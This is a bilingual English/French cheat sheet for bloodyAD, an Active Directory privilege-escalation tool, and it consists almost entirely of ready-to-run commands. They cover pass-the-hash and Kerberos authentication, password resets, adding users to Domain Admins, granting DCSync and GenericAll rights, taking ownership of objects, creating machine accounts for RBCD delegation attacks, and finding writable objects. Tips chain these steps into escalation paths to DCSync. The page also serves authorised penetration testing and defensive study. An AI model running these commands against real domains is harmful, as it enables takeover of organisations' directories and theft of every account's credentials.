bloodyAD

Couteau suisse de l'élévation de privilèges Active Directory. Réalise des opérations AD ciblées via LDAP/RPC : ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits DCSync, et abuser de mauvaises configurations de DACL. Active Directory privilege escalation Swiss-army knife. Performs targeted AD operations via LDAP/RPC: add users to groups, reset passwords, grant DCSync rights, and abuse DACL misconfigurations.

↗ https://github.com/CravateRouge/bloodyAD

Overview

bloodyAD automates common Active Directory privilege escalation operations via LDAP. It targets specific AD object permissions (DACLs) to perform actions like adding users to groups, resetting passwords, granting rights, and abusing misconfigurations — all without running code on domain-joined machines.

Authentication

Username + password

bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]

Pass-the-hash (NTLM)

bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]
# Kerberos (with ccache)
export KRB5CCNAME=/tmp/user.ccache
bloodyAD -d domain.local -k --host dc01.domain.local [command]

Certificate-based auth

bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]

User Operations

Change/reset a user’s password

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  set password jdoe 'NewPassword123!'

Add a user to a group

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add groupMember "Domain Admins" jdoe

Remove user from group

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  remove groupMember "Domain Admins" jdoe

Create a new user

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add user hacker 'Hacker123!'

DACL Abuse

Grant DCSync rights to a user (Replicating Directory Changes All)

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add dcsync jdoe

Grant GenericAll on an object

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add genericAll cn=target,dc=domain,dc=local jdoe

Grant WriteOwner

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  set owner "Domain Admins" jdoe

Computer Account Operations

Add a computer account (useful for RBCD attacks)

bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  add computer EVILPC 'EvilPass123!'

Set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)

bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$

Enumeration

Get object attributes

bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get object "cn=jdoe,cn=users,dc=domain,dc=local"

Get writable objects (where we have write permissions)

bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get writable --otype user

Get domain info

bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get domain

Tips

  • bloodyAD requires only LDAP access — useful when SMB (445) is filtered
  • add dcsync is a quick path from GenericAll/WriteDACL → DCSync
  • Pair with BloodHound: identify the DACL path, then execute with bloodyAD
  • get writable is excellent for discovering your current privilege level
Command reference
bloodyAD [auth options] --host DC [command]

get:
  object DN           Get LDAP object attributes
  writable            List objects we can write to
  domain              Domain information

add:
  user NAME PASS      Create user
  computer NAME PASS  Create computer account
  groupMember GRP USR Add user to group
  dcsync USER         Grant DCSync rights
  genericAll OBJ USR  Grant GenericAll
  rbcd TARGET SRC     Set RBCD delegation
  uac USER FLAG       Set UAC flag

set:
  password USER PASS  Reset user password
  object DN ATTR VAL  Set LDAP attribute
  owner OBJ NEW_OWNER Change object owner

remove:
  groupMember GRP USR Remove from group
  dcsync USER         Remove DCSync rights
  computer NAME       Delete computer account

Vue d’ensemble

bloodyAD automatise les opérations courantes d’élévation de privilèges Active Directory via LDAP. Il cible des permissions spécifiques sur les objets AD (les DACL) pour effectuer des actions comme ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits et abuser de mauvaises configurations, le tout sans exécuter de code sur les machines jointes au domaine.

Authentification

# Nom d'utilisateur + mot de passe
bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]

# Pass-the-hash (NTLM)
bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]

# Kerberos (avec ccache)
export KRB5CCNAME=/tmp/user.ccache
bloodyAD -d domain.local -k --host dc01.domain.local [command]

# Auth par certificat
bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]

Opérations sur les utilisateurs

# Changer/réinitialiser le mot de passe d'un utilisateur
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  set password jdoe 'NewPassword123!'

# Ajouter un utilisateur à un groupe
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add groupMember "Domain Admins" jdoe

# Retirer un utilisateur d'un groupe
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  remove groupMember "Domain Admins" jdoe

# Créer un nouvel utilisateur
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add user hacker 'Hacker123!'

Abus de DACL

# Accorder des droits DCSync à un utilisateur (Replicating Directory Changes All)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add dcsync jdoe

# Accorder GenericAll sur un objet
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add genericAll cn=target,dc=domain,dc=local jdoe

# Accorder WriteOwner
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  set owner "Domain Admins" jdoe

Opérations sur les comptes machine

# Ajouter un compte machine (utile pour les attaques RBCD)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  add computer EVILPC 'EvilPass123!'

# Définir msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
  add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$

Énumération

# Récupérer les attributs d'un objet
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get object "cn=jdoe,cn=users,dc=domain,dc=local"

# Récupérer les objets modifiables (là où on a les permissions d'écriture)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get writable --otype user

# Récupérer les infos du domaine
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
  get domain

Conseils

  • bloodyAD ne nécessite qu’un accès LDAP : utile quand le SMB (445) est filtré
  • add dcsync est un chemin rapide de GenericAll/WriteDACL vers DCSync
  • À combiner avec BloodHound : identifiez le chemin de DACL, puis exécutez-le avec bloodyAD
  • get writable est excellent pour découvrir votre niveau de privilège actuel
Référence des commandes
bloodyAD [auth options] --host DC [command]

get:
  object DN           Get LDAP object attributes
  writable            List objects we can write to
  domain              Domain information

add:
  user NAME PASS      Create user
  computer NAME PASS  Create computer account
  groupMember GRP USR Add user to group
  dcsync USER         Grant DCSync rights
  genericAll OBJ USR  Grant GenericAll
  rbcd TARGET SRC     Set RBCD delegation
  uac USER FLAG       Set UAC flag

set:
  password USER PASS  Reset user password
  object DN ATTR VAL  Set LDAP attribute
  owner OBJ NEW_OWNER Change object owner

remove:
  groupMember GRP USR Remove from group
  dcsync USER         Remove DCSync rights
  computer NAME       Delete computer account